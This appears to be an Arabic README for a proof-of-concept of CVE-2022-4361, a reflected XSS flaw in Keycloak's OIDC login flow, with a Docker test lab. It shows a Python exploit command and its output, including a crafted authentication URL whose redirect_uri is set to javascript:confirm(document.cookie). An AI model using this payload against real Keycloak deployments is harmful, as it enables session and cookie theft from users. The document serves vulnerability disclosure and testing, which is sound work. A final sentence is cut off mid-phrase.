
إثبات مفهوم لاستغلال CVE-2022-4361، وهي ثغرة XSS منعكسة في تدفق مصادقة OIDC في Keycloak، مع بيئة اختبار قائمة على Docker وسكربت استغلال بلغة Python.
يحتوي هذا المستودع على إثبات المفهوم (PoC) لـ CVE-2022-4361.
جميع الفضل يعود للمؤلف الأصلي للاكتشاف، mulliken;
هام: إثبات المفهوم هذا غير مكتمل حيث لا يغطي حالة قيمة AssertionConsumerServiceURL في بروتوكول مصادقة SAML. حالياً، يتم تغطية حالة OIDC فقط.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
انتظر حتى تصبح البنية التحتية متاحة وقابلة للوصول.
نظراً لأن Keycloak في إثبات المفهوم هذا غير مدمج مع أي تطبيق ويب، فمن الضروري تحديد عنوان URL الكامل لمصادقة Keycloak (بمجرد إعداد نطاق الاختبار بشكل صحيح).
يمكن اختبار الثغرة في بيئة الاختبار هذه باستخدام عنوان URL التالي.
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
سيتم فتح نافذة متصفح تحتوي على صفحة تسجيل الدخول الضارة، كما هو موضح في لقطة الشاشة أدناه.

بمجرد أن يقدم الضحية بيانات اعتماد صالحة (متاحة في keycloak-config/test-realm.json) وينقر على زر Sign In، سيتم تنفيذ هجوم XSS المنعكس.
تجدر الإشارة إلى أن الهجوم ينجح حتى إذا كان الضحية قد سجل الدخول بالفعل داخل التطبيق.

* لـ redirect_uri في بيئات الإنتاج.حالياً، يغطي إثبات المفهوم هذا فقط حالة تكوين Keycloak باستخدام تدفق مصادقة OIDC.
في النشرات القادمة، سيتم تقديم بروتوكول مصادقة SAML.